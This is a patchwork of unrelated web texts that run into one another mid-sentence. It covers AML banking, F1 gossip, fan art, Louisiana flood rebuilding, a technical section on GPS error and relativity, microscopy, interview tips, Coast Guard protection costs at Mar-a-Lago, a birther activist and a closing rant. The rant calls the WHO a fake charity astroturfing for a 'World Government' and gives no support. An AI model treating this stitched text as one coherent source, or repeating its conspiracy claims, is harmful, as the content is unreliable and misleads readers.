While still low compared to major lenders elsewhere in Asia, Australia’s increasing reliance on deposits has raised pressure on banks to improve their compliance systems, particularly where cash is involved.
“Anytime you’re dealing with something untraceable like cash you’ve really got to be on top of things,” said Jeremy Danon, principal at Ariel & Associates, which provides AML training to financial firms.Bernie Ecclestone knows a bad move when he sees one, but when it comes to the Ham-Vettel clash in Baku, the former F1 supremo appears to defend the Ferrari driver.
There was overwhelming condemnation of Vettel's wheel-banging antics today in the media, and lots of support for Hamilton.
Mr. E on the other hand apparently has an opposing view.
"As far as the Hamilton vs Vettel incident is concerned, these things happen in racing," the chairman emeritus of F1 told FormulaPassion.
"I think that Hamilton was trying to put Vettel in trouble by breaking and make the accident happen. Vettel's reaction was normal to let Hamilton know that he was aware for this reason."
Both Vettel and Bernie seem to ignore the facts. But everyone is entitled to an opinion...
GALLERY: F1 drivers' wives and girlfriends
Keep up to date with all the F1 news via Facebook and Twitter
LAST CHANCE to enter our ULTIMATE TRACKDAY competition! FREE ENTRY HERE!and not just cuz i ship it... although that's at least half of the reason
What if Sun Wukong was an old classmate of Ren and Nora's?Honestly I keep mulling over the idea of Ren and Sun as either old classmates or future rivals.But I really REALLY would love to see it animated in RWBY that Ren and Sun go one on one in an all out Martial Arts battle. :'DI love the Manga look I pulled off! Makes me feel all professional. OH WAIT, I AM (yay, freelancing!)You'll be seeing a lot of traditional art uploaded via cameraphone from me for a while- my laptop broke.And I'm trying to raise money for a new one!Commissions start at just $10, so check out my journal for details, it would be of great help!RWBY belongs to (VOLUME 2 DEBUTS AT RTX 2014 ON JULY 4TH!)Martin Glaude, more commonly known as Quill18 is known around the world for his "Let's Plays." If you're wondering, "What the heck's a 'Let's Play'?" don't worry. Watch the video and all will be revealed.
Martin Glaude, more commonly known as Quill18 is known around the world for his "Let's Plays."If you're wondering, "What the heck's a 'Let's Play'?" don't worry. Watch the video and all will be revealed.The Internet star has more than 200,000 subscriptions and more than 16 million page views, drawing viewers and fans in with his recorded video commentary of strategy and simulation games.The increasing popularity of watching other people play a video game, and similar video commentaries, have led to changes in how some video games have been developed, along with a growing audience of e-sport spectators.NorthernLife.ca sat down with Quill18 to shed some light on his videos, his fame and e-sports as an Internet phenomenon.Check out Quill18's channel hereDenham Springs residents, anxious to rebuild their homes and lives after the devastating floods earlier this month, packed a church sanctuary Saturday to find out whether they will have to elevate their homes before they set about getting permits to make the needed repairs.
The answer they received was as unsettling as the question: “That is one of the issues we are trying to address,” Mayor Gerard Landry told an audience of about 250 people at the New Covenant Baptist Church.
Homes built before latest flood hazard maps were adopted in 2012 largely avoided having to comply with federal and local requirements that they stand at or above the Federal Emergency Management Agency’s most recent base flood elevations. Existing structures were “grandfathered in,” and homeowners were allowed to make minor improvements without triggering the new standards.
But that all changes when a home sustains damage equal to half or more of its value.
Then it must be built at or above the base flood elevation, according to minimum standards set by the federal government and adopted by local governments in order to participate in the National Flood Insurance Program.
How obscure East Baton Rouge building code throwing wrench in rebuilding plans As thoughts turn from mucking out flooded structures to rebuilding following the recent floo…
In a city like Denham Springs, where more than 3,000 of its 4,200 homes saw 18 inches or more of floodwater this month, the number of people who may now be required to elevate their homes or find somewhere else to live has put city officials on edge.
Landry said he has talked to numerous officials at the state and federal |
={\sqrt {d_{z}^{2}}}=|d_{z}|}, are both dependent on the coordinate system used. To correspond to the local horizon plane and the local vertical, x, y, and z should denote positions in either a North, East, Down coordinate system or a South, East, Up coordinate system.
Derivation of equations for computing geometric dilution of precision [ edit ]
The equations for computing the geometric dilution of precision terms have been described in the previous section. This section describes the derivation of these equations. The method used here is similar to that used in "Global Positioning System (preview) by Parkinson and Spiker"
Consider the position error vector, e {\displaystyle \mathbf {e} }, defined as the vector from the intersection of the four sphere surfaces corresponding to the pseudoranges to the true position of the receiver. e = e x x ^ + e y y ^ + e z z ^ {\displaystyle \mathbf {e} =e_{x}{\hat {x}}+e_{y}{\hat {y}}+e_{z}{\hat {z}}} where bold denotes a vector and x ^ {\displaystyle {\hat {x}}}, y ^ {\displaystyle {\hat {y}}}, and z ^ {\displaystyle {\hat {z}}} denote unit vectors along the x, y, and z axes respectively. Let e t {\displaystyle \ e_{t}} denote the time error, the true time minus the receiver indicated time. Assume that the mean value of the three components of e {\displaystyle \mathbf {e} } and e t {\displaystyle \ e_{t}} are zero.
A [ e x e y e z e t ] = [ ( x 1 − x ) R 1 ( y 1 − y ) R 1 ( z 1 − z ) R 1 1 ( x 2 − x ) R 2 ( y 2 − y ) R 2 ( z 2 − z ) R 2 1 ( x 3 − x ) R 3 ( y 3 − y ) R 3 ( z 3 − z ) R 3 1 ( x 4 − x ) R 4 ( y 4 − y ) R 4 ( z 4 − z ) R 4 1 ] [ e x e y e z e t ] = [ e 1 e 2 e 3 e 4 ] ( 1 ) {\displaystyle A{\begin{bmatrix}e_{x}\\e_{y}\\e_{z}\\e_{t}\end{bmatrix}}={\begin{bmatrix}{\frac {(x_{1}-x)}{R_{1}}}&{\frac {(y_{1}-y)}{R_{1}}}&{\frac {(z_{1}-z)}{R_{1}}}&1\\{\frac {(x_{2}-x)}{R_{2}}}&{\frac {(y_{2}-y)}{R_{2}}}&{\frac {(z_{2}-z)}{R_{2}}}&1\\{\frac {(x_{3}-x)}{R_{3}}}&{\frac {(y_{3}-y)}{R_{3}}}&{\frac {(z_{3}-z)}{R_{3}}}&1\\{\frac {(x_{4}-x)}{R_{4}}}&{\frac {(y_{4}-y)}{R_{4}}}&{\frac {(z_{4}-z)}{R_{4}}}&1\end{bmatrix}}{\begin{bmatrix}e_{x}\\e_{y}\\e_{z}\\e_{t}\end{bmatrix}}={\begin{bmatrix}e_{1}\\e_{2}\\e_{3}\\e_{4}\end{bmatrix}}\ (1)}
where e 1 {\displaystyle e_{1}}, e 2 {\displaystyle e_{2}}, e 3 {\displaystyle e_{3}}, and e 4 {\displaystyle e_{4}} are the errors in pseudoranges 1 through 4 respectively. This equation comes from linearizing the Newton-Raphson equation relating pseudoranges to receiver position, satellite positions, and receiver clock errors. Multiplying both sides by A − 1 {\displaystyle A^{-1}} there results
[ e x e y e z e t ] = A − 1 [ e 1 e 2 e 3 e 4 ] ( 2 ) {\displaystyle {\begin{bmatrix}e_{x}\\e_{y}\\e_{z}\\e_{t}\end{bmatrix}}=A^{-1}{\begin{bmatrix}e_{1}\\e_{2}\\e_{3}\\e_{4}\end{bmatrix}}\ (2)}
Transposing both sides:
[ e x e y e z e t ] = [ e 1 e 2 e 3 e 4 ] ( A − 1 ) T ( 3 ) {\displaystyle {\begin{bmatrix}e_{x}&e_{y}&e_{z}&e_{t}\end{bmatrix}}={\begin{bmatrix}e_{1}&e_{2}&e_{3}&e_{4}\end{bmatrix}}\left(A^{-1}\right)^{T}\ (3)}
Post multiplying the matrices on both sides of equation (2) by the corresponding matrices in equation (3), there results
[ e x e y e z e t ] [ e x e y e z e t ] = A − 1 [ e 1 e 2 e 3 e 4 ] [ e 1 e 2 e 3 e 4 ] ( A − 1 ) T ( 4 ) {\displaystyle {\begin{bmatrix}e_{x}\\e_{y}\\e_{z}\\e_{t}\end{bmatrix}}{\begin{bmatrix}e_{x}&e_{y}&e_{z}&e_{t}\end{bmatrix}}=A^{-1}{\begin{bmatrix}e_{1}\\e_{2}\\e_{3}\\e_{4}\end{bmatrix}}{\begin{bmatrix}e_{1}&e_{2}&e_{3}&e_{4}\end{bmatrix}}\left(A^{-1}\right)^{T}\ (4)}
Taking the expected value of both sides and taking the non-random matrices outside the expectation operator, E, there results:
E ( [ e x e y e z e t ] [ e x e y e z e t ] ) = A − 1 E ( [ e 1 e 2 e 3 e 4 ] [ e 1 e 2 e 3 e 4 ] ) ( A − 1 ) T ( 5 ) {\displaystyle E\left({\begin{bmatrix}e_{x}\\e_{y}\\e_{z}\\e_{t}\end{bmatrix}}{\begin{bmatrix}e_{x}&e_{y}&e_{z}&e_{t}\end{bmatrix}}\right)=A^{-1}E\left({\begin{bmatrix}e_{1}\\e_{2}\\e_{3}\\e_{4}\end{bmatrix}}{\begin{bmatrix}e_{1}&e_{2}&e_{3}&e_{4}\end{bmatrix}}\right)\left(A^{-1}\right)^{T}\ (5)}
Assuming the pseudorange errors are uncorrelated and have the same variance, the covariance matrix on the right side can be expressed as a scalar times the identity matrix. Thus
[ σ x 2 σ x y 2 σ x z 2 σ x t 2 σ x y 2 σ y 2 σ y z 2 σ y t 2 σ x z 2 σ y z 2 σ z 2 σ z t 2 σ x t 2 σ y t 2 σ z t 2 σ t 2 ] = σ R 2 A − 1 ( A − 1 ) T = σ R 2 ( A T A ) − 1 ( 6 ) {\displaystyle {\begin{bmatrix}\sigma _{x}^{2}&\sigma _{xy}^{2}&\sigma _{xz}^{2}&\sigma _{xt}^{2}\\\sigma _{xy}^{2}&\sigma _{y}^{2}&\sigma _{yz}^{2}&\sigma _{yt}^{2}\\\sigma _{xz}^{2}&\sigma _{yz}^{2}&\sigma _{z}^{2}&\sigma _{zt}^{2}\\\sigma _{xt}^{2}&\sigma _{yt}^{2}&\sigma _{zt}^{2}&\sigma _{t}^{2}\end{bmatrix}}=\sigma _{R}^{2}\ A^{-1}\left(A^{-1}\right)^{T}=\sigma _{R}^{2}\ \left(A^{T}A\right)^{-1}\ (6)}
since A − 1 ( A − 1 ) T ( A T A ) = I {\displaystyle \ A^{-1}\left(A^{-1}\right)^{T}\left(A^{T}A\right)=I}
Note: ( A − 1 ) T = ( A T ) − 1, {\displaystyle \left(A^{-1}\right)^{T}=\left(A^{T}\right)^{-1},} since I = ( A A − 1 ) T = ( A − 1 ) T A T {\displaystyle I=\left(AA^{-1}\right)^{T}=\left(A^{-1}\right)^{T}A^{T}}
Substituting for ( A T A ) − 1 = Q {\displaystyle \left(A^{T}A\right)^{-1}=Q} there follows
[ σ x 2 σ x y 2 σ x z 2 σ x t 2 σ x y 2 σ y 2 σ y z 2 σ y t 2 σ x z 2 σ y z 2 σ z 2 σ z t 2 σ x t 2 σ y t 2 σ z t 2 σ t 2 ] = σ R 2 [ d x 2 d x y 2 d x z 2 d x t 2 d x y 2 d y 2 d y z 2 d y t 2 d x z 2 d y z 2 d z 2 d z t 2 d x t 2 d y t 2 d z t 2 d t 2 ] ( 7 ) {\displaystyle {\begin{bmatrix}\sigma _{x}^{2}&\sigma _{xy}^{2}&\sigma _{xz}^{2}&\sigma _{xt}^{2}\\\sigma _{xy}^{2}&\sigma _{y}^{2}&\sigma _{yz}^{2}&\sigma _{yt}^{2}\\\sigma _{xz}^{2}&\sigma _{yz}^{2}&\sigma _{z}^{2}&\sigma _{zt}^{2}\\\sigma _{xt}^{2}&\sigma _{yt}^{2}&\sigma _{zt}^{2}&\sigma _{t}^{2}\end{bmatrix}}=\sigma _{R}^{2}{\begin{bmatrix}d_{x}^{2}&d_{xy}^{2}&d_{xz}^{2}&d_{xt}^{2}\\d_{xy}^{2}&d_{y}^{2}&d_{yz}^{2}&d_{yt}^{2}\\d_{xz}^{2}&d_{yz}^{2}&d_{z}^{2}&d_{zt}^{2}\\d_{xt}^{2}&d_{yt}^{2}&d_{zt}^{2}&d_{t}^{2}\end{bmatrix}}\ (7)}
From equation (7), it follows that the variances of indicated receiver position and time are
σ r c 2 = σ x 2 + σ y 2 + σ z 2 = σ R 2 ( d x 2 + d y 2 + d z 2 ) = P D O P 2 σ R 2 {\displaystyle \sigma _{rc}^{2}=\sigma _{x}^{2}+\sigma _{y}^{2}+\sigma _{z}^{2}=\sigma _{R}^{2}\left(d_{x}^{2}+d_{y}^{2}+d_{z}^{2}\right)=PDOP^{2}\sigma _{R}^{2}} σ t 2 = σ R 2 d t 2 = T D O P 2 σ R 2 {\displaystyle \sigma _{t}^{2}=\sigma _{R}^{2}d_{t}^{2}=TDOP^{2}\sigma _{R}^{2}}
The remaining position and time error variance terms follow in a straightforward manner.
Selective availability [ edit ]
GPS included a (currently disabled) feature called Selective Availability (SA) that adds intentional, time varying errors of up to 100 meters (328 ft) to the publicly available navigation signals. This was intended to deny an enemy the use of civilian GPS receivers for precision weapon guidance.
SA errors are actually pseudorandom, generated by a cryptographic algorithm from a classified seed key available only to authorized users (the U.S. military, its allies and a few other users, mostly government) with a special military GPS receiver. Mere possession of the receiver is insufficient; it still needs the tightly controlled daily key.
Before it was turned off on May 2, 2000, typical SA errors were about 50 m (164 ft) horizontally and about 100 m (328 ft) vertically.[10] Because SA affects every GPS receiver in a given area almost equally, a fixed station with an accurately known position can measure the SA error values and transmit them to the local GPS receivers so they may correct their position fixes. This is called Differential GPS or DGPS. DGPS also corrects for several other important sources of GPS errors, particularly ionospheric delay, so it continues to be widely used even though SA has been turned off. The ineffectiveness of SA in the face of widely available DGPS was a common argument for turning off SA, and this was finally done by order of President Clinton in 2000.[11]
DGPS services are widely available from both commercial and government sources. The latter include WAAS and the U.S. Coast Guard's network of LF marine navigation beacons. The accuracy of the corrections depends on the distance between the user and the DGPS receiver. As the distance increases, the errors at the two sites will not correlate as well, resulting in less precise differential corrections.
During the 1990–91 Gulf War, the shortage of military GPS units caused many troops and their families to buy readily available civilian units. Selective Availability significantly impeded the U.S. military's own battlefield use of these GPS, so the military made the decision to turn it off for the duration of the war.
In the 1990s, the FAA started pressuring the military to turn off SA permanently. This would save the FAA millions of dollars every year in maintenance of their own radio navigation systems. The amount of error added was "set to zero"[12] at midnight on May 1, 2000 following an announcement by U.S. President Bill Clinton, allowing users access to the error-free L1 signal. Per the directive, the induced error of SA was changed to add no error to the public signals (C/A code). Clinton's executive order required SA to be set to zero by 2006; it happened in 2000 once the U.S. military developed a new system that provides the ability to deny GPS (and other navigation services) to hostile forces in a specific area of crisis without affecting the rest of the world or its own military systems.[12]
On 19 September 2007, the United States Department of Defense announced that future GPS III satellites will not be capable of implementing SA,[13] eventually making the policy permanent.[14]
Another restriction on GPS, antispoofing, remains on. This encrypts the P-code so that it cannot be mimicked by a transmitter sending false information. Few civilian receivers have ever used the P-code, and the accuracy attainable with the public C/A code was much better than originally expected (especially with DGPS). So much so that the antispoof policy has relatively little effect on most civilian users. Turning off antispoof would primarily benefit surveyors and some scientists who need extremely precise positions for experiments such as tracking tectonic plate motion.
Relativity [ edit ]
Satellite clocks are slowed by their orbital speed but sped up by their distance out of the Earth's gravitational well.
A number of sources of error exist due to relativistic effects[15] that would render the system useless if uncorrected. Three relativistic effects are the time dilation, gravitational frequency shift, and eccentricity effects. Examples include the relativistic time slowing due to the speed of the satellite of about 1 part in 1010, the gravitational time dilation that makes a satellite run about 5 parts in 1010 faster than an Earth-based clock, and the Sagnac effect due to rotation relative to receivers on Earth. These topics are examined below, one at a time.
Special and general relativity [ edit ]
According to the theory of relativity, due to their constant movement and height relative to the Earth-centered, non-rotating approximately inertial reference frame, the clocks on the satellites are affected by their speed. Special relativity predicts that the frequency of the atomic clocks moving at GPS orbital speeds will tick more slowly than stationary ground clocks by a factor of v 2 2 c 2 ≈ 10 − 10 {\displaystyle {\frac {v^{2}}{2c^{2}}}\approx 10^{-10}}, or result in a delay of about 7 μs/day, where the orbital velocity is v = 4 km/s, and c = the speed of light. This time dilation effect has been measured and verified using the GPS.
The effect of gravitational frequency shift on the GPS due to general relativity is that a clock closer to a massive object will be slower than a clock farther away. Applied to the GPS, the receivers are much closer to Earth than the satellites, causing the GPS clocks to be faster by a factor of 5×10^(−10), or about 45.9 μs/day. This gravitational frequency shift is noticeable.
When combining the time dilation and gravitational frequency shift, the discrepancy is about 38 microseconds per day, a difference of 4.465 parts in 1010.[16] Without correction, errors in the initial pseudorange of roughly 10 km/day would accumulate. This initial pseudorange error is corrected in the process of solving the navigation equations. In addition the elliptical, rather than perfectly circular, satellite orbits cause the time dilation and gravitational frequency shift effects to vary with time. This eccentricity effect causes the clock rate difference between a GPS satellite and a receiver to increase or decrease depending on the altitude of the satellite.
To compensate for the discrepancy, the frequency standard on board each satellite is given a rate offset prior to launch, making it run slightly slower than the desired frequency on Earth; specifically, at 10.22999999543 MHz instead of 10.23 MHz.[17] Since the atomic clocks on board the GPS satellites are precisely tuned, it makes the system a practical engineering application of the scientific theory of relativity in a real-world environment.[18] Placing atomic clocks on artificial satellites to test Einstein's general theory was proposed by Friedwardt Winterberg in 1955.[19]
Calculation of time dilation [ edit ]
To calculate the amount of daily time dilation experienced by GPS satellites relative to Earth we need to separately determine the amounts due to special relativity (velocity) and general relativity (gravity) and add them together.
The amount due to velocity will be determined using the Lorentz transformation. This will be:
1 γ = 1 − v 2 c 2 {\displaystyle {\frac {1}{\gamma }}={\sqrt {1-{\frac {v^{2}}{c^{2}}}}}}
For small values of v/c, by using binomial expansion this approximates to:
1 γ ≈ 1 − v 2 2 c 2 {\displaystyle {\frac {1}{\gamma }}\approx 1-{\frac {v^{2}}{2c^{2}}}}
The GPS satellites move at 7003387400000000000♠3874 m/s relative to Earth's center.[17] We thus determine:
1 γ ≈ 1 − 3874 2 2 ( 2.998 × 10 8 ) 2 ≈ 1 − 8.349 × 10 − 11 {\displaystyle {\frac {1}{\gamma }}\approx 1-{\frac {3874^{2}}{2\left(2.998\times 10^{8}\right)^{2}}}\approx 1-8.349\times 10^{-11}}
This difference below 1 of 6989834900000000000♠8.349×10−11 represents the fraction by which the satellites' clocks move slower than Earth's. It is then multiplied by the number of nanoseconds in a day:
− 8.349 × 10 − 11 × 60 × 60 × 24 × 10 9 ≈ − 7214 ns {\displaystyle -8.349\times 10^{-11}\times 60\times 60\times 24\times 10^{9}\approx -7214{\text{ ns}}}
That is, the satellites' clocks lose 7,214 nanoseconds a day due to special relativity effects.
Note that this speed of 7003387400000000000♠ 3874 m/s is measured relative to Earth's center rather than its surface where the GPS receivers (and users) are. This is because Earth's equipotential makes net time dilation equal across its geodesic surface.[20] That is, the combination of Special and General effects make the net time dilation at the equator equal to that of the poles, which in turn are at rest relative to the center. Hence we use the center as a reference point to represent the entire surface.
The amount of dilation due to gravity will be determined using the gravitational time dilation equation:
1 γ = 1 − 2 G M r c 2 {\displaystyle {\frac {1}{\gamma }}={\sqrt {1-{\frac {2GM}{rc^{2}}}}}}
For small values of M/r, by using binomial expansion this approximates to:
1 γ ≈ 1 − G M r c 2 {\displaystyle {\frac {1}{\gamma }}\approx 1-{\frac {GM}{rc^{2}}}}
We are again only interested in the fraction below 1, and in the difference between Earth and the satellites. To determine this difference we take:
Δ ( 1 γ ) ≈ G M earth R earth c 2 − G M earth R gps c 2 {\displaystyle \Delta \left({\frac {1}{\gamma }}\right)\approx {\frac {GM_{\text{earth}}}{R_{\text{earth}}c^{2}}}-{\frac {GM_{\text{earth}}}{R_{\text{gps}}c^{2}}}}
Earth has a radius of 6,357 km (at the poles) making R earth = 6,357,000 m and the satellites have an altitude of 20,184 km[17] making their orbit radius R gps = 26,541,000 m. Substituting these in the above equation, with M earth = 7024597400000000000♠5.974×1024, G = 6989667400000000000♠6.674×10−11, and c = 7008299800000000000♠2.998×108 (all in SI units), gives:
Δ ( 1 γ ) ≈ 5.307 × 10 − 10 {\displaystyle \Delta \left({\frac {1}{\gamma }}\right)\approx 5.307\times 10^{-10}}
This represents the fraction by which the satellites' clocks move faster than Earth's. It is then multiplied by the number of nanoseconds in a day:
5.307 × 10 − 10 × 60 × 60 × 24 × 10 9 ≈ 45850 ns {\displaystyle 5.307\times 10^{-10}\times 60\times 60\times 24\times 10^{9}\approx 45850{\text{ ns}}}
That is, the satellites' clocks gain 45,850 nanoseconds a day due to general relativity effects. These effects are added together to give (rounded to 10 ns):
45850 – 7210 = 38640 ns
Hence the satellites' clocks gain approximately 38,640 nanoseconds a day or 38.6 μs per day due to relativity effects in total.
In order to compensate for this gain, a GPS clock's frequency needs to be slowed by the fraction:
6990530700000000000♠ 5.307 × 10−10 – 6989834900000000000♠ 8.349 × 10−11 = 6990447200000000000♠ 4.472 × 10−10
This fraction is subtracted from 1 and multiplied by the pre-adjusted clock frequency of 10.23 MHz:
(1 – 6990447200000000000♠ 4.472 × 10−10 ) × 10.23 = 10.22999999543
That is, we need to slow the clocks down from 10.23 MHz to 10.22999999543 MHz in order to negate the effects of relativity.
Sagnac distortion [ edit ]
GPS observation processing must also compensate for the Sagnac effect. The GPS time scale is defined in an inertial system but observations are processed in an Earth-centered, Earth-fixed (co-rotating) system, a system in which simultaneity is not uniquely defined. A coordinate transformation is thus applied to convert from the inertial system to the ECEF system. The resulting signal run time correction has opposite algebraic signs for satellites in the Eastern and Western celestial hemispheres. Ignoring this effect will produce an east–west error on the order of hundreds of nanoseconds, or tens of meters in position.[21]
Natural sources of interference [ edit ]
Since GPS signals at terrestrial receivers tend to be relatively weak, natural radio signals or scattering of the GPS signals can desensitize the receiver, making acquiring and tracking the satellite signals difficult or impossible.
Space weather degrades GPS operation in two ways, direct interference by solar radio burst noise in the same frequency band[22] or by scattering of the GPS radio signal in ionospheric irregularities referred to as scintillation.[23] Both forms of degradation follow the 11 year solar cycle and are a maximum at sunspot maximum although they can occur at any time. Solar radio bursts are associated with solar flares and coronal mass ejections (CMEs)[24] and their impact can affect reception over the half of the Earth facing the sun. Scintillation occurs most frequently at tropical latitudes where it is a night time phenomenon. It occurs less frequently at high latitudes or mid-latitudes where magnetic storms can lead to scintillation.[25] In addition to producing scintillation, magnetic storms can produce strong ionospheric gradients that degrade the accuracy of SBAS systems.[26]
Artificial sources of interference [ edit ]
In automotive GPS receivers, metallic features in windshields,[27] such as defrosters, or car window tinting films[28] can act as a Faraday cage, degrading reception just inside the car.
Man-made EMI (electromagnetic interference) can also disrupt or jam GPS signals. In one well-documented case it was impossible to receive GPS signals in the entire harbor of Moss Landing, California due to unintentional jamming caused by malfunctioning TV antenna preamplifiers.[29][30] Intentional jamming is also possible. Generally, stronger signals can interfere with GPS receivers when they are within radio range or line of sight. In 2002 a detailed description of how to build a short-range GPS L1 C/A jammer was published in the online magazine Phrack.[31]
The U.S. government believes that such jammers were used occasionally during the War in Afghanistan, and the U.S. military claims to have destroyed six GPS jammers during the Iraq War, including one that was destroyed with a GPS-guided bomb.[32] A GPS jammer is relatively easy to detect and locate, making it an attractive target for anti-radiation missiles. The UK Ministry of Defence tested a jamming system in the UK's West Country on 7 and 8 June 2007.[33]
Some countries allow the use of GPS repeaters to allow the reception of GPS signals indoors and in obscured locations; while in other countries these are prohibited as the retransmitted signals can cause multi-path interference to other GPS receivers that receive data from both GPS satellites and the repeater. In the UK Ofcom now permits the use of GPS/GNSS Repeaters[34] under a 'light licensing' regime.
Due to the potential for both natural and man-made noise, numerous techniques continue to be developed to deal with the interference. The first is to not rely on GPS as a sole source. According to John Ruley, "IFR pilots should have a fallback plan in case of a GPS malfunction".[35] Receiver Autonomous Integrity Monitoring (RAIM) is a feature included in some receivers, designed to provide a warning to the user if jamming or another problem is detected. The U.S. military has also deployed since 2004 their Selective Availability / Anti-Spoofing Module (SAASM) in the Defense Advanced GPS Receiver (DAGR).[36] In demonstration videos the DAGR was shown to detect jamming and maintain its lock on the encrypted GPS signals during interference which caused civilian receivers to lose lock.
See also [ edit ]
Notes [ edit ]
References [ edit ]Nikon, one of the leading manufacturers of microscopes, also hosts an annual microscopy competition (and you can use any company's microscopes to enter). We've shared some of our favorite images with you in years past, since they've been every bit as artistic as good photography and, in many cases, reveal important details about the natural world—details that we'd otherwise never be able to appreciate.
Most people will only get exposed to microscopy during high school biology, which is typically the realm of static slices of long-dead organisms, permanently pressed onto a glass side. But history's first use of a microscope back in the 1600s involved watching living microbes flitting across the field of view. Microscopy doesn't have to be static; in fact, the element of time can be incredibly informative.
And advancements in technology mean that we can do some amazing things with living samples, including labelling them in a rainbow of fluorescent colors, automating long time-lapse recordings, and more. And movies can tell us things that wouldn't be possible to learn otherwise, like the process by which a material deforms and breaks, the coordination of cell divisions and migrations that assemble an embryo, and more.
So, in addition to its photography competitions, Nikon hosts a video competition. And they've been kind enough to let us share a number of the prize winning videos from this year's competition. If you like what you see, you can go to their website to get a look at the remainder.
And don't worry; the static image competition is wrapping up, and the winners will be available soon.
Listing image by Bernardo Cesare and Stefano CastelliI asked Rusty Rueff, Glassdoor.com's career and workplace expert. Here's what he had to say:
"Employers want to see how candidates think. For tough or oddball interview questions, it's not always about getting the right answers--it's about how you tackle a challenging problem. The question for employers may be really about how fast you think on your feet.
When faced with tough questions like these, take a deep breath, slow down and then sound out your thinking process aloud, and walk the interviewer through how you get to an answer.
If you feel the question is unrelated to the job or company, before trying to respond, very politely ask the interviewer, 'In order to best get to what you are looking for from me, can you provide more detail as to how the problem relates to how problems are solved here?' You have to ask this delicately, though, as you don't want the interviewer to think you are being defensive or want to duck the question."The U.S. Coast Guard has received no extra funding to cover the additional costs of protecting President Trump’s Mar-a-Lago resort during his frequent trips to the Florida estate, the service’s top official said Wednesday.
Adm. Paul Zukunft, the Coast Guard’s commandant, also provided new details about the challenges the service faces in safeguarding the Palm Beach property because of its waterfront exposure on two sides — the Atlantic Ocean to the east and the Intracoastal Waterway to the west.
Whenever Trump visits, the Coast Guard dispatches helicopters, patrol boats and anti-terrorism teams for round-the-clock patrols, Zukunft said during a breakfast with journalists.
“We have teams protecting the approaches to Mar-a-Lago on both coasts,” Zukunft said. “We’re also protecting in the air, as well,” he added, noting that the service watches for “low, slow fliers” and any other “potential aviation threat to our commander in chief.”
Asked about the costs of protecting Mar-a-Lago, Zukunft said officials were trying to determine a figure to provide to Congress but that at the moment the service was working within existing funding constraints.
1 of 39 Full Screen Autoplay Close Skip Ad × The scene at President Trump’s Mar-a-Lago Club and resort in Florida View Photos The president refers to his sprawling Palm Beach estate as the “Southern White House” or “winter White House.” Caption The president refers to his sprawling Palm Beach estate as the “Southern White House” or “winter White House.” Nov. 23, 2016 A Coast Guard boat passes through then-President-elect Donald Trump’s Mar-a-Lago resort in Palm Beach, Fla. Since the election, Mar-a-Lago has assumed a prized role in Trump’s presidency, rivaling Trump Tower as a focal point of his lifestyle and ambitions. Gerardo Mora/Getty Images Buy Photo Wait 1 second to continue.
“Is there a supplemental to support this?” he said. “The answer is no.”
Zukunft’s comments highlight the growing costs to taxpayers of Trump’s lifestyle, including routine jaunts to Mar-a-Lago and the need to fortify Trump Tower in New York, where Trump’s wife and youngest son have chosen to live. Trump is expected to return to Mar-a-Lago this weekend for his seventh trip since the inauguration.
Mar-a-Lago, the private club Trump has dubbed the “winter White House,” lacks the established protection measures of the White House or Camp David, and officials there in recent months have been forced to build a presidential compound from scratch.
The Trump administration’s draft budget last month called for cutting the Coast Guard’s funding by 14 percent, or about $1.3 billion, but the White House has since said it would keep the service’s budget flat compared with the previous year.
Three anti-terrorism teams were involved in the protection of Mar-a-Lago when Trump and Chinese President Xi Jinping visited last week, Zukunft said. Those Maritime Safety and Security teams carry out port safety patrols and are trained to operate after an attack by chemical, biological or radiological means.
Trump has spent about 21 days at Mar-a-Lago this year. Based on a Washington Post review of estimates of past presidential trips and assessments of security costs, Trump’s continued travel there could drive the price tag for Coast Guard support at the estate into the tens of millions of dollars over a four-year term.
An MH-65 Dolphin helicopter, commonly used in air patrols like those over Mar-a-Lago, costs $7,533 an hour to run, or more than $180,000 for an all-day patrol, service financial documents show. An RB-S Defender-class response boat patrolling near Mar-a-Lago costs $1,434 an hour to run, or about $34,400 a day.
When President Barack Obama flew to South Florida for a weekend in 2013, the Coast Guard spent about $586,000 to patrol waterways and cover official travel and lodging costs, according to a Government Accountability Office report last year.
When the president is in town, the Coast Guard also establishes three wide-ranging “security zones” along the Palm Beach shorelines and in the nearby Lake Worth Lagoon., which are guarded by gunboat.
The Coast Guard’s budget is only a fraction of the government money spent toward protecting the president’s estate. Palm Beach County spends more than $60,000 a day toward overtime for deputies and other costs when the president is in town, local-government officials said.
The Secret Service also has faced budgetary strain. The agency requested $60 million in funding on top of its traditional budget for the next year to help pay for the travel of the president and top-ranking officials, as well as the protection of Trump Tower, according to internal documents reviewed by The Post.
The Coast Guard post near Palm Beach traditionally focuses on other missions across South Florida and the Caribbean, including rescuing stranded boaters, securing ports and intercepting drug runners, the service says.
[Trump family’s elaborate lifestyle is a ‘logistical nightmare’ — at taxpayer expense]
[Secret Service asked for $60 million extra for Trump-era travel and protection, documents show]
[To fund border wall, Trump administration weighs cuts to Coast Guard, airport security]Looking for news you can trust?
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Tea-party style activism has taken some nutty turns before—the Hitler references, the Holocaust pictures. But Walter Fitzpatrick III may be about to push anti-Obama activism to new heights. On Tuesday, he plans to walk into the Monroe County courthouse in tiny Madisonville, Tennessee, and attempt to convince a local grand jury to indict the president on treason and fraud charges.
Fitzpatrick is one of those alternate-reality Americans who believe that Barack Obama is actually one Barry Soetoro, a man who is not an American citizen and thus ineligible to serve as president. Fitzpatrick claims that since March, he has been trying to get federal prosecutors in Tennessee to bring treason charges against the president. All that effort earned him, however, was a visit from the Secret Service.
But then Fitzpatrick evidently discovered that Monroe County has rather liberal rules about grand juries. In most places, only a local prosecutor |
on a comparison with global figures, which suggest average losses to fraud and error of around 7% of healthcare budgets. It is 20 times higher than the figure recorded in the government’s annual fraud indicator report.”
Back in the USA,
“The pharmaceutical group GlaxoSmithKline has been fined $3bn (£1.9bn) after admitting bribing doctors and encouraging the prescription of unsuitable antidepressants to children. Glaxo is also expected to admit failing to report safety problems with the diabetes drug Avandia in a district court in Boston on Thursday.
The company encouraged sales reps in the US to mis-sell three drugs to doctors and lavished hospitality and kickbacks on those who agreed to write extra prescriptions, including trips to resorts in Bermuda, Jamaica and California.”
The WHO are notoriously crooked and incompetent; a giant fake charity whose Director-General, Dr. Margaret Chan, has been continuing to sideline Ebola to attend an anti-smoking conference in Moscow. Like the national governments and their fake charities, the WHO clearly exists to act in exactly the same way: astroturfing for the World Government, to bully people over climate change and with their tobacco and obesity “epidemics” and who have also criminally boosted the profits of the pharmaceutical companies.
If only ‘healthcare’ truly was about health and care and not money and social engineering.
Please leave comments on Real Street.
